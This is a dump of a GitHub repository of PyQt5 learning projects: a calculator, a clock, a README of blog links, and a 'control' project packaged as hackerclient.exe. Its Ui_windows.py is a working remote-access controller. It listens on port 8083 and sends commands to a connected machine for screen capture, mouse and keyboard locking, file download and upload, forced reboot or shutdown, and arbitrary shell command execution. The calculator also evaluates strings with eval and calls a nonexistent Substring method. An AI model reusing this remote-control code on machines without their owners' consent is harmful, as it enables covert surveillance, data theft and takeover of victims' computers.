├── Calculator.py
├── Clock.py
├── README.md
├── control
├── Ui_windows.py
├── __init__.py
├── __pycache__
│ └── Ui_windows.cpython-36.pyc
├── _eric6project
│ ├── 萤火clinet.e4q
│ └── 萤火clinet.e6t
├── build
│ └── hackerclient
│ │ ├── base_library.zip
│ │ ├── hackerclient.exe.manifest
│ │ ├── out00-Analysis.toc
│ │ ├── out00-EXE.toc
│ │ ├── out00-PKG.pkg
│ │ ├── out00-PKG.toc
│ │ ├── out00-PYZ.pyz
│ │ ├── out00-PYZ.toc
│ │ ├── warnhackerclient.txt
│ │ └── xref-hackerclient.html
├── dist
│ └── hackerclient.exe
├── hackerclient.spec
├── picture
│ ├── 2018-06-30_170734.png
│ ├── 2018-06-30_171030.png
│ ├── 2018-06-30_171056.png
│ ├── 2018-06-30_171320.png
│ └── title.ico
├── server.py
├── telnet
│ ├── Debug
│ │ ├── client.exe
│ │ ├── client.ilk
│ │ ├── client.obj
│ │ ├── client.pch
│ │ ├── client.pdb
│ │ ├── vc60.idb
│ │ └── vc60.pdb
│ ├── client.cpp
│ ├── client.dsp
│ ├── client.dsw
│ ├── client.ncb
│ ├── client.opt
│ ├── client.plg
│ ├── jconfig.h
│ ├── jmorecfg.h
│ ├── jpeglib.h
│ └── libjpeg
│ │ ├── jconfig.h
│ │ ├── jmorecfg.h
│ │ ├── jpeg.lib
│ │ └── jpeglib.h
├── windows.ui
└── 萤火clinet.e4p
├── encrypt
├── .idea
│ ├── RSAsoftware.iml
│ ├── misc.xml
│ ├── modules.xml
│ └── workspace.xml
├── Value.py
├── __init__.py
└── image
│ └── 1.ico
└── notepad
├── Ui_notepad.py
├── __init__.py
├── _eric6project
├── notepad.e4q
└── notepad.e6t
├── image
└── 1.ico
├── notepad.e4p
└── notepad.ui
/Calculator.py:
--------------------------------------------------------------------------------
1 | # -*- coding:utf-8 -*-
2 | '''
3 | @Author: GETF
4 | @Email: GETF_own@163.com
5 | @DateTime: 2017-11-20 16:08:54
6 | @Description: Description
7 | '''
8 |
9 |
10 | import sys
11 | from PyQt5 import QtWidgets,QtCore,QtGui
12 | from PyQt5.QtGui import QIcon
13 | import os
14 |
15 | class Example(QtWidgets.QWidget):
16 | def __init__(self):
17 | super(Example, self).__init__()
18 | self.initUI()
19 |
20 | def initUI(self):
21 | self.string = ''#作为容器去计算
22 | self.number = '0'#初始值
23 | self.setWindowTitle('简单计算器')#设置标题
24 | grid = QtWidgets.QGridLayout()#网格型布局
25 | self.display = QtWidgets.QLineEdit('0')#QLineEdit是一个单行文本编辑控件。
26 | '''
27 | QLineEdit是一个单行文本编辑控件。
28 | 使用者可以通过很多函数,输入和编辑单行文本,比如撤销、恢复、剪切、粘贴以及拖放等。
29 | 通过改变QLineEdit的 echoMode() ,可以设置其属性,比如以密码的形式输入。
30 | 文本的长度可以由 maxLength() 限制,可以通过使用 validator() 或者 inputMask() 可以限制它只能输入数字。在对同一个QLineEdit的validator或者input mask进行转换时,最好先将它的validator或者input mask清除,以避免错误发生。
31 | 与QLineEdit相关的一个类是QTextEdit,它允许多行文字以及富文本编辑。
32 | 我们可以使用 setText() 或者 insert() 改变其中的文本,通过 text() 获得文本,通过 displayText() 获得显示的文本,使用 setSelection() 或者 selectAll() 选中文本,选中的文本可以通过cut()、copy()、paste()进行剪切、复制和粘贴,使用 setAlignment() 设置文本的位置。
33 | 文本改变时会发出 textChanged() 信号;如果不是由setText()造成文本的改变,那么会发出textEdit()信号;鼠标光标改变时会发出cursorPostionChanged()信号;当返回键或者回车键按下时,会发出returnPressed()信号。
34 | 当编辑结束,或者LineEdit失去了焦点,或者当返回/回车键按下时,editFinished()信号将会发出。
35 | '''
36 | self.display.setFont(QtGui.QFont("Times", 20))#设置字体
37 | self.display.setReadOnly(True)#设置可编辑
38 | self.display.setAlignment(QtCore.Qt.AlignRight)#设置文本位置,这里设置为右边开始
39 | self.display.setMaxLength(15)#设置最大的长度
40 | grid.addWidget(self.display,0,0,1,4)
41 | '''
42 | void QGridLayout::addWidget(QWidget * widget, int fromRow, int fromColumn, int rowSpan, int columnSpan, Qt::Alignment alignment = 0)
43 | 6个参数表示控件名,行,列,占用行数,占用列数,对齐方式
44 | '''
45 | names = ['Clear', 'Back', '', 'Close',
46 | '7', '8', '9', '/',
47 | '4', '5', '6', '*',
48 | '1', '2', '3', '-',
49 | '0', '.', '=', '+']
50 | pos = [(0, 0), (0, 1), (0, 2), (0, 3),
51 | (1, 0), (1, 1), (1, 2), (1, 3),
52 | (2, 0), (2, 1), (2, 2), (2, 3),
53 | (3, 0), (3, 1), (3, 2), (3, 3 ),
54 | (4, 0), (4, 1), (4, 2), (4, 3)]
55 | c = 0
56 | for name in names:
57 | button = QtWidgets.QPushButton(name)
58 | button.setFixedSize(QtCore.QSize(60,30))
59 | button.clicked.connect(self.buttonClicked) # 给每个按钮设置信号/槽
60 | if c == 2:
61 | pass
62 | #grid.addWidget(QtWidgets.QLabel(''), 0, 2) #替换 第三个按钮 为 文本标签!
63 | else:
64 | grid.addWidget(button, pos[c][0]+1, pos[c][1])
65 | c = c + 1
66 | self.setLayout(grid)
67 |
68 |
69 |
70 |
71 | def buttonClicked(self):
72 | #sender = self.sender(); # 确定信号发送者
73 | #self.display.setText(sender.text())#确定text为name
74 | text = self.sender().text()
75 | if text == "=":
76 | self.string = self.string+self.number
77 | self.number = str(eval(self.string)) # 简单计算,这里使用eval直接计算字符串
78 | self.string=''
79 | elif text in '+-*/':
80 | self.string = self.string+self.number+text
81 | self.number='0'#清空数字
82 | elif text == "Back":
83 | self.string = self.string.Substring(0,self.string.Length - 1)#删去最后一位
84 | elif text == "Clear":
85 | self.number = "0"
86 | elif text == "Close":
87 | self.close()
88 | else:
89 | if(self.number == '0'):
90 | self.number=''
91 | self.number = self.number+text
92 |
93 | self.display.setText(self.number)
94 |
95 |
96 | app = QtWidgets.QApplication(sys.argv)
97 | ex = Example()
98 | dir_path = os.path.abspath(os.path.dirname(__file__))+'\image\\1.ico'
99 | ex.setWindowIcon(QIcon(dir_path))
100 | ex.show()
101 | sys.exit(app.exec_())
--------------------------------------------------------------------------------
/Clock.py:
--------------------------------------------------------------------------------
1 | # -*- coding:utf-8 -*-
2 | '''
3 | @Author: GETF
4 | @Email: GETF_own@163.com
5 | @DateTime: 2017-11-09 15:12:14
6 | @Description: Description
7 | '''
8 |
9 |
10 |
11 | import os
12 | from PyQt5.QtGui import QIcon
13 | import sys
14 | from PyQt5.QtWidgets import (QWidget, QLCDNumber, QSlider,
15 | QVBoxLayout, QApplication)
16 | from PyQt5.QtCore import QDateTime,QTimer
17 |
18 | class Example(QWidget):
19 |
20 | def __init__(self):
21 | super().__init__()
22 |
23 | self.initUI()
24 |
25 |
26 |
27 | def initUI(self):
28 | self.lcd = QLCDNumber(self)#设置数字类
29 | self.lcd.setDigitCount(25)
30 | self.lcd.setMode(QLCDNumber.Dec)
31 | self.lcd.setSegmentStyle(QLCDNumber.Flat)
32 | self.lcd.setStyleSheet("border: 1px solid green; color: green; background: silver;")#设置显示的颜色样式
33 | vbox = QVBoxLayout()#设置布局
34 | vbox.addWidget(self.lcd)
35 | self.setLayout(vbox)
36 | self.setGeometry(300, 300, 250, 150)
37 | self.setWindowTitle('hello')
38 | dir_path = os.path.abspath(os.path.dirname(__file__))+'\image\\1.ico'
39 | self.setWindowIcon(QIcon(dir_path))
40 | self.show()
41 | self.timer = QTimer()
42 | self.timer.start(1)
43 | self.timer.timeout.connect(self.flush)#使用了计时器
44 | '''
45 | 创建计时器->设置1ms刷新间隔->每次刷新执行flush函数
46 | '''
47 |
48 |
49 | def flush(self):
50 | #获取系统当前时间
51 | dateTime=QDateTime.currentDateTime()
52 | #显示的内容
53 | self.lcd.display(dateTime.toString("yyyy-MM-dd HH:mm:ss.zzz"))
54 |
55 |
56 | if __name__ == '__main__':
57 |
58 | app = QApplication(sys.argv)
59 | ex = Example()
60 | sys.exit(app.exec_())
61 |
62 |
63 |
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Pyqt5_StudyNotes
2 |
3 | 欢迎关注我的csdn专栏[Eric6与pyqt5学习笔记](http://blog.csdn.net/column/details/18112.html),一起交流~
4 |
5 | ====================第一次更新=======================
6 | '''
7 | @Author: GETF
8 | @Email: GETF_own@163.com
9 | @DateTime: 2017-11-20 19:54:57
10 | '''
11 | 1.更新了对应我博客两篇博文的小程序的源代码,备注及博客讲解已经很详细了,如果还有不明白的欢迎千万我的博客留言一起讨论
12 | [ 信号,事件和打包exe 小软件时钟](http://blog.csdn.net/wy_97/article/details/78500186)
13 | [ 实战1 简易计算器](http://blog.csdn.net/wy_97/article/details/78583683)
14 |
15 | =====================第二次更新=======================
16 | '''
17 | @Author: GETF
18 | @Email: GETF_own@163.com
19 | @DateTime: 2017-11-24 18:55:36
20 | '''
21 | 1.更新了对应我博客一篇博文的程序的源代码及一个自己录制的讲解小视频,备注及博客讲解已经很详细了,如果还有不明白的欢迎千万我的博客留言一起讨论
22 | [ 实战2 window伪文本编辑器](http://blog.csdn.net/wy_97/article/details/78620549)
23 |
24 |
25 | ====================第三次更新=========================
26 | '''
27 | @Author: GETF
28 | @Email: GETF_own@163.com
29 | @DateTime: 2018-03-15 19:54:57
30 | '''
31 | 更新了一个自己做的小软件,密码加密器,仅供参考思路,,2333,并不精美~
32 | [Eric6与pyqt5学习笔记 11【编写自己的密码加密管理器~ python3.5+PYQT5】 ](http://blog.csdn.net/wy_97/article/details/79434269)
33 |
34 | =====================第四次更新=========================
35 | '''
36 | @Author: GETF
37 | @Email: GETF_own@163.com
38 | @DateTime: 2018-07-13 19:54:57
39 | '''
40 | 更新了期末课设设计的一个局域网控制软件,很多功能并未完全实现,仅供参考,学习使用~
41 | [Eric6与pyqt5学习笔记13 【实战4 打造局域网远控软件】](https://blog.csdn.net/wy_97/article/details/81037868)
42 |
--------------------------------------------------------------------------------
/control/Ui_windows.py:
--------------------------------------------------------------------------------
1 | # -*- coding:utf-8 -*-
2 | '''
3 | @Author: GETF
4 | @Email: GETF_own@163.com
5 | @DateTime: 2018-07-01 14:56:04
6 | @Description: 心里苦
7 | '''
8 |
9 |
10 | # Form implementation generated from reading ui file 'F:\GitHub\control\windows.ui'
11 | #
12 | # Created by: PyQt5 UI code generator 5.6
13 | #
14 | # WARNING! All changes made in this file will be lost!
15 |
16 | from PyQt5 import QtCore, QtGui, QtWidgets
17 | from PyQt5.QtWidgets import QMessageBox,QWidget,QTableWidgetItem,QInputDialog,QLineEdit,QFileDialog
18 | import os
19 | import socket
20 | import sys
21 | import time
22 |
23 | bind_ip = '0.0.0.0'
24 | bind_port = 8083
25 | server = None
26 | filepath = os.path.abspath(os.path.dirname(__file__))
27 |
28 | # init the server
29 | def setup():
30 | server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
31 | server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
32 | server.bind((bind_ip, bind_port))
33 | server.listen(5)
34 | print('[+] Listening on %s:%d' % (bind_ip, bind_port))
35 | return server
36 |
37 |
38 | # 处理返回文件相关
39 | def recvFile(client_socket,type):
40 | mark = True
41 | if (type == "jpg"):
42 | if (os.path.isfile(filepath+"/screenshot.jpg")):
43 | os.remove(filepath+"/screenshot.jpg")
44 | f = open(filepath+"/screenshot.jpg","wb")
45 | else:
46 | file = filepath+"/recvfile%s" % type
47 | f = open(file,"wb")
48 |
49 | while(1):
50 | data = client_socket.recv(1024)
51 | if (len(data)<8) and (data[:3].decode() == "EOF"):
52 | if data[3:5].decode() == "NN":
53 | # os.remove(file)
54 | mark = False
55 | else:
56 | mark = True
57 |
58 | break
59 | f.write(data)
60 | f.close()
61 | return mark
62 |
63 | # 发送本地文件
64 | def sendFile(client_socket, filename, destPath):
65 | try:
66 | f = open(filename,"rb")
67 | except:
68 | return False
69 |
70 | client_socket.send(destPath.encode())
71 |
72 | time.sleep(1)
73 | while(1):
74 | data = f.read(512)
75 | if not data:
76 | break
77 | client_socket.sendall(data)
78 | f.close()
79 | time.sleep(10)
80 | client_socket.sendall("EOF".encode())
81 | return True
82 |
83 |
84 | # 对控制机进行操控
85 | def handle_client(client_socket, cmd, param1, param2):
86 | if len(cmd) > 0:
87 | if cmd == "screenshot":#屏幕截图
88 | client_socket.send(cmd.encode())
89 | p = recvFile(client_socket,"jpg")
90 | return p
91 | elif cmd == "mouse":#鼠标锁死
92 | client_socket.send(cmd.encode())
93 | client_socket.send(param1.encode())
94 | elif cmd == "download":#下载文件
95 | client_socket.send(cmd.encode())
96 | client_socket.send(param1.encode())
97 | p = recvFile(client_socket,param1)
98 | return p
99 | elif cmd == "reboot":
100 | client_socket.send(cmd.encode())
101 | elif cmd == "shutdown":
102 | client_socket.send(cmd.encode())
103 | elif cmd == "cancel":
104 | client_socket.send(cmd.encode())
105 | elif cmd == "lock":
106 | client_socket.send(cmd.encode())
107 | elif cmd == "blockinput":
108 | client_socket.send(cmd.encode())
109 | elif cmd == "upload":
110 | client_socket.send(cmd.encode())
111 | p = sendFile(client_socket, param1, param2)
112 | return p
113 |
114 | # elif cmd == "kill-client":
115 | # data = client_socket.recv(1024)
116 | # return data
117 | elif cmd == "@":
118 | cmd = cmd+param1
119 | client_socket.send(cmd.encode())
120 | elif cmd == "$":
121 | cmd = cmd+param1
122 | client_socket.send(cmd.encode())
123 | data = client_socket.recv(5120)
124 | return data.decode('gbk')
125 | else:
126 | return None
127 |
128 |
129 |
130 | # 定义UI
131 | class Ui_MainWindow(QWidget):
132 | def setupUi(self, MainWindow):
133 | self.id = 1
134 | MainWindow.setObjectName("MainWindow")
135 | MainWindow.resize(800, 600)
136 | MainWindow.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
137 | MainWindow.setFixedSize(MainWindow.width(), MainWindow.height())
138 | icon = QtGui.QIcon()
139 | icon.addPixmap(QtGui.QPixmap(filepath+"/picture/title.ico"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
140 | MainWindow.setWindowIcon(icon)
141 | self.menuBar = QtWidgets.QMenuBar(MainWindow)
142 | self.menuBar.setGeometry(QtCore.QRect(0, 0, 606, 26))
143 | self.menuBar.setObjectName("menuBar")
144 | self.centralWidget = QtWidgets.QWidget(MainWindow)
145 | self.centralWidget.setObjectName("centralWidget")
146 | self.pushButton = QtWidgets.QPushButton(self.centralWidget)
147 | self.pushButton.setGeometry(QtCore.QRect(0, 0, 221, 151))
148 | icon1 = QtGui.QIcon()
149 | icon1.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_170734.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
150 | self.pushButton.setIcon(icon1)
151 | self.pushButton.setIconSize(QtCore.QSize(70, 70))
152 | self.pushButton.setObjectName("pushButton")
153 | self.pushButton.clicked.connect(self.screenshot)
154 | self.pushButton_2 = QtWidgets.QPushButton(self.centralWidget)
155 | self.pushButton_2.setGeometry(QtCore.QRect(220, 0, 201, 151))
156 | icon2 = QtGui.QIcon()
157 | icon2.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_171056.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
158 | self.pushButton_2.setIcon(icon2)
159 | self.pushButton_2.setIconSize(QtCore.QSize(90, 90))
160 | self.pushButton_2.setObjectName("pushButton_2")
161 | self.pushButton_2.clicked.connect(self.mousecontrl)
162 | self.pushButton_3 = QtWidgets.QPushButton(self.centralWidget)
163 | self.pushButton_3.setGeometry(QtCore.QRect(420, 0, 201, 151))
164 | icon3 = QtGui.QIcon()
165 | icon3.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_171030.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
166 | self.pushButton_3.setIcon(icon3)
167 | self.pushButton_3.setIconSize(QtCore.QSize(80, 80))
168 | self.pushButton_3.setObjectName("pushButton_3")
169 | self.pushButton_3.clicked.connect(self.downloadfile)
170 | self.pushButton_4 = QtWidgets.QPushButton(self.centralWidget)
171 | self.pushButton_4.setGeometry(QtCore.QRect(612, 0, 191, 151))
172 | icon4 = QtGui.QIcon()
173 | icon4.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_171320.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
174 | self.pushButton_4.setIcon(icon4)
175 | self.pushButton_4.setIconSize(QtCore.QSize(70, 70))
176 | self.pushButton_4.setObjectName("pushButton_4")
177 | self.pushButton_4.clicked.connect(self.control_cmd)
178 | self.tableWidget = QtWidgets.QTableWidget(self.centralWidget)
179 | self.tableWidget.horizontalHeader().setSectionsClickable(False) #可以禁止点击表头的列
180 | self.tableWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)#设置只可以单选
181 | self.tableWidget.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)#设置 不可选择单个单元格,只可选择一行。
182 | self.tableWidget.setGeometry(QtCore.QRect(0, 150, 801, 451))
183 | self.tableWidget.setObjectName("tableWidget")
184 | self.tableWidget.setColumnCount(6)
185 | item = QtWidgets.QTableWidgetItem()
186 | self.tableWidget.setHorizontalHeaderItem(0, item)
187 | item = QtWidgets.QTableWidgetItem()
188 | self.tableWidget.setHorizontalHeaderItem(1, item)
189 | item = QtWidgets.QTableWidgetItem()
190 | self.tableWidget.setHorizontalHeaderItem(2, item)
191 | item = QtWidgets.QTableWidgetItem()
192 | self.tableWidget.setHorizontalHeaderItem(3, item)
193 | item = QtWidgets.QTableWidgetItem()
194 | self.tableWidget.setHorizontalHeaderItem(4, item)
195 | item = QtWidgets.QTableWidgetItem()
196 | self.tableWidget.setHorizontalHeaderItem(5, item)
197 | MainWindow.setCentralWidget(self.centralWidget)
198 | self.retranslateUi(MainWindow)
199 | self.tableWidget.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
200 | self.tableWidget.customContextMenuRequested['QPoint'].connect(self.rightMenuShow)
201 | QtCore.QMetaObject.connectSlotsByName(MainWindow)
202 | server = setup()
203 | self.client, addr = server.accept()
204 | data = self.client.recv(1024).split("#".encode())
205 | self.addClientToTable(str(data[1].decode()), addr[0], str(addr[1]), str(data[0].decode()), "凉凉")
206 |
207 |
208 | '''打开命令行'''
209 | def control_cmd(self):
210 | value, ok = QInputDialog.getText(self, "命令执行", "这是提示信息\n\n命令格式为cmd:", QLineEdit.Normal, "ipconfig")
211 | if value:
212 | data = handle_client(self.client, "$", value, "1")
213 | QMessageBox.about(self,"执行结果", data)
214 | else:
215 | pass
216 |
217 |
218 | '''上传文件'''
219 | def downloadfile(self):
220 | value, ok = QInputDialog.getText(self, "文件控制", "这是提示信息\n\n命令格式为:dir/xx.txt", QLineEdit.Normal, "url.txt")
221 | if value:
222 | p = False
223 | p = handle_client(self.client, "download", value, "1")
224 | if p:
225 | QMessageBox.about(self,"执行结果", "下载完成")
226 | else:
227 | QMessageBox.about(self,"执行结果", "下载失败")
228 | else:
229 | pass
230 |
231 | '''上传文件'''
232 | def uploadfile(self):
233 | file_, filetype = QFileDialog.getOpenFileName(self, "选取需要上传文件", "C:/", "All Files (*);;Text Files (*.txt)")
234 | if file_:
235 | p = False
236 | p = handle_client(self.client, "upload", file_ , "D:/1.txt")
237 | if p:
238 | QMessageBox.about(self,"执行结果", "上传完成")
239 | else:
240 | QMessageBox.about(self,"执行结果", "上传失败")
241 | else:
242 | pass
243 |
244 | '''鼠标锁定'''
245 | def mousecontrl(self):
246 | value, ok = QInputDialog.getText(self, "鼠标锁死", "这是提示信息\n\n命令格式为 time单位秒", QLineEdit.Normal, "10")
247 | if value:
248 | handle_client(self.client, "mouse", value, "1")
249 | QMessageBox.about(self,"执行结果", "成功锁死")
250 | else:
251 | pass
252 |
253 |
254 | '''屏幕截图'''
255 | def screenshot(self):
256 | p = False
257 | p = handle_client(self.client, "screenshot", "1", "2")
258 | if p:
259 | QMessageBox.about(self,"执行结果", "监控完成")
260 | else:
261 | QMessageBox.about(self,"执行结果", "监控失败")
262 |
263 | '''发送消息'''
264 | def senddata(self):
265 | value, ok = QInputDialog.getText(self, "发送消息", "这是提示信息\n\n命令格式为message:", QLineEdit.Normal, "hello world")
266 | if value:
267 | handle_client(self.client, "@", value ,"1")
268 | QMessageBox.about(self,"执行结果", "发送成功")
269 | else:
270 | pass
271 |
272 | '''强制重启'''
273 | def controlreboot(self):
274 | handle_client(self.client, "reboot", "1", "2")
275 | QMessageBox.about(self,"执行结果", "执行成功,将于10秒后重启")
276 |
277 |
278 | '''强制关机'''
279 | def controlshutdown(self):
280 | handle_client(self.client, "shutdown", "1", "2")
281 | QMessageBox.about(self,"执行结果", "执行成功,将于10秒后关机")
282 |
283 | '''取消关机重启'''
284 | def controlcancel(self):
285 | handle_client(self.client, "cancel", "1", "2")
286 | QMessageBox.about(self,"执行结果", "执行成功,已经取消")
287 |
288 | '''强制锁屏'''
289 | def controllock(self):
290 | handle_client(self.client, "lock", "1", "2")
291 | QMessageBox.about(self,"执行结果", "执行成功")
292 |
293 | '''锁住键盘'''
294 | def controllockinput(self):
295 | handle_client(self.client, "blockinput", "1", "2")
296 | QMessageBox.about(self,"执行结果", "执行成功")
297 |
298 |
299 | '''增加一行'''
300 | def addClientToTable(self,name,ip,port,str1,str2):
301 | row = self.tableWidget.rowCount()
302 | self.tableWidget.setRowCount(row+1)
303 | num = str(self.id)
304 | self.id += 1
305 | self.tableWidget.setItem(row, 0, QTableWidgetItem(num))
306 | self.tableWidget.setItem(row, 1, QTableWidgetItem(name))
307 | self.tableWidget.setItem(row, 2, QTableWidgetItem(ip))
308 | self.tableWidget.setItem(row, 3, QTableWidgetItem(port))
309 | self.tableWidget.setItem(row, 4, QTableWidgetItem(str1))
310 | self.tableWidget.setItem(row, 5, QTableWidgetItem(str2))
311 |
312 | '''减少一行'''
313 | def removeClientFromTable(self,num):
314 | self.tableWidget.removeRow(num)
315 |
316 |
317 |
318 |
319 | '''鼠标右键事件'''
320 | def rightMenuShow(self):
321 | rightMenu = QtWidgets.QMenu(self.menuBar)
322 |
323 | self.actionreboot = QtWidgets.QAction(MainWindow)
324 | self.actionreboot.setObjectName("actionreboot")
325 | self.actionreboot.setText(QtCore.QCoreApplication.translate("MainWindow", "重新开机"))
326 | rightMenu.addAction(self.actionreboot)
327 | self.actionreboot.triggered.connect(self.controlreboot)
328 |
329 | self.actionshutdown = QtWidgets.QAction(MainWindow)
330 | self.actionshutdown.setObjectName("actionshutdown")
331 | self.actionshutdown.setText(QtCore.QCoreApplication.translate("MainWindow", "强制下线"))
332 | rightMenu.addAction(self.actionshutdown)
333 | self.actionshutdown.triggered.connect(self.controlshutdown)
334 |
335 | self.actioncancel = QtWidgets.QAction(MainWindow)
336 | self.actioncancel.setObjectName("actioncancel")
337 | self.actioncancel.setText(QtCore.QCoreApplication.translate("MainWindow", "取消下线与重启"))
338 | rightMenu.addAction(self.actioncancel)
339 | self.actioncancel.triggered.connect(self.controlcancel)
340 |
341 | self.actionsendmessage = QtWidgets.QAction(MainWindow)
342 | self.actionsendmessage.setObjectName("actionsendmessage")
343 | self.actionsendmessage.setText(QtCore.QCoreApplication.translate("MainWindow", "发送消息"))
344 | rightMenu.addAction(self.actionsendmessage)
345 | self.actionsendmessage.triggered.connect(self.senddata)
346 |
347 | self.actionlock = QtWidgets.QAction(MainWindow)
348 | self.actionlock.setObjectName("actionlock")
349 | self.actionlock.setText(QtCore.QCoreApplication.translate("MainWindow", "强制锁屏"))
350 | rightMenu.addAction(self.actionlock)
351 | self.actionlock.triggered.connect(self.controllock)
352 |
353 | self.actionlockinput = QtWidgets.QAction(MainWindow)
354 | self.actionlockinput.setObjectName("actionlockinput")
355 | self.actionlockinput.setText(QtCore.QCoreApplication.translate("MainWindow", "锁死键盘"))
356 | rightMenu.addAction(self.actionlockinput)
357 | self.actionlockinput.triggered.connect(self.controllockinput)
358 |
359 | self.actionuploadfile = QtWidgets.QAction(MainWindow)
360 | self.actionuploadfile.setObjectName("actionuploadfile")
361 | self.actionuploadfile.setText(QtCore.QCoreApplication.translate("MainWindow", "上传文件"))
362 | rightMenu.addAction(self.actionuploadfile)
363 | self.actionuploadfile.triggered.connect(self.uploadfile)
364 |
365 | rightMenu.exec_(QtGui.QCursor.pos())
366 |
367 | def retranslateUi(self, MainWindow):
368 | _translate = QtCore.QCoreApplication.translate
369 | MainWindow.setWindowTitle(_translate("MainWindow", "萤火client"))
370 | self.pushButton.setText(_translate("MainWindow", "屏幕监控"))
371 | self.pushButton_2.setText(_translate("MainWindow", "锁死鼠标"))
372 | self.pushButton_3.setText(_translate("MainWindow", "文件下载"))
373 | self.pushButton_4.setText(_translate("MainWindow", "命令执行"))
374 | item = self.tableWidget.horizontalHeaderItem(0)
375 | item.setText(_translate("MainWindow", "编号"))
376 | item = self.tableWidget.horizontalHeaderItem(1)
377 | item.setText(_translate("MainWindow", "用户名"))
378 | item = self.tableWidget.horizontalHeaderItem(2)
379 | item.setText(_translate("MainWindow", "ip地址"))
380 | item = self.tableWidget.horizontalHeaderItem(3)
381 | item.setText(_translate("MainWindow", "端口"))
382 | item = self.tableWidget.horizontalHeaderItem(4)
383 | item.setText(_translate("MainWindow", "电脑名"))
384 | item = self.tableWidget.horizontalHeaderItem(5)
385 | item.setText(_translate("MainWindow", "测试信息2"))
386 | __sortingEnabled = self.tableWidget.isSortingEnabled()
387 | self.tableWidget.setSortingEnabled(False)
388 | self.tableWidget.setSortingEnabled(__sortingEnabled)
389 |
390 |
391 | if __name__ == "__main__":
392 | app = QtWidgets.QApplication(sys.argv)
393 | MainWindow = QtWidgets.QMainWindow()
394 | ui = Ui_MainWindow()
395 | ui.setupUi(MainWindow)
396 | MainWindow.show()
397 | sys.exit(app.exec_())
398 |
399 |
--------------------------------------------------------------------------------
/control/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/__init__.py
--------------------------------------------------------------------------------
/control/__pycache__/Ui_windows.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/__pycache__/Ui_windows.cpython-36.pyc
--------------------------------------------------------------------------------
/control/_eric6project/萤火clinet.e4q:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/control/_eric6project/萤火clinet.e6t:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/control/build/hackerclient/base_library.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/build/hackerclient/base_library.zip
--------------------------------------------------------------------------------
/control/build/hackerclient/hackerclient.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/control/build/hackerclient/out00-Analysis.toc:
--------------------------------------------------------------------------------
1 | (['F:\\GitHub\\control\\Ui_windows.py'],
2 | ['F:\\GitHub', 'F:\\GitHub\\control'],
3 | ['codecs'],
4 | [],
5 | [],
6 | [],
7 | False,
8 | False,
9 | '3.6.5 | packaged by conda-forge | (default, Apr 6 2018, 16:13:55) [MSC '
10 | 'v.1900 64 bit (AMD64)]',
11 | [('pyi_rth_qt5',
12 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\rthooks\\pyi_rth_qt5.py',
13 | 'PYSOURCE'),
14 | ('Ui_windows', 'F:\\GitHub\\control\\Ui_windows.py', 'PYSOURCE')],
15 | [('ntpath', 'E:\\Anaconda3\\lib\\ntpath.py', 'PYMODULE'),
16 | ('_strptime', 'E:\\Anaconda3\\lib\\_strptime.py', 'PYMODULE'),
17 | ('datetime', 'E:\\Anaconda3\\lib\\datetime.py', 'PYMODULE'),
18 | ('stringprep', 'E:\\Anaconda3\\lib\\stringprep.py', 'PYMODULE'),
19 | ('__future__', 'E:\\Anaconda3\\lib\\__future__.py', 'PYMODULE'),
20 | ('argparse', 'E:\\Anaconda3\\lib\\argparse.py', 'PYMODULE'),
21 | ('difflib', 'E:\\Anaconda3\\lib\\difflib.py', 'PYMODULE'),
22 | ('ast', 'E:\\Anaconda3\\lib\\ast.py', 'PYMODULE'),
23 | ('inspect', 'E:\\Anaconda3\\lib\\inspect.py', 'PYMODULE'),
24 | ('cmd', 'E:\\Anaconda3\\lib\\cmd.py', 'PYMODULE'),
25 | ('bdb', 'E:\\Anaconda3\\lib\\bdb.py', 'PYMODULE'),
26 | ('opcode', 'E:\\Anaconda3\\lib\\opcode.py', 'PYMODULE'),
27 | ('dis', 'E:\\Anaconda3\\lib\\dis.py', 'PYMODULE'),
28 | ('codeop', 'E:\\Anaconda3\\lib\\codeop.py', 'PYMODULE'),
29 | ('code', 'E:\\Anaconda3\\lib\\code.py', 'PYMODULE'),
30 | ('glob', 'E:\\Anaconda3\\lib\\glob.py', 'PYMODULE'),
31 | ('pyreadline.rlmain',
32 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\rlmain.py',
33 | 'PYMODULE'),
34 | ('pyreadline.clipboard.ironpython_clipboard',
35 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\ironpython_clipboard.py',
36 | 'PYMODULE'),
37 | ('pyreadline.clipboard.no_clipboard',
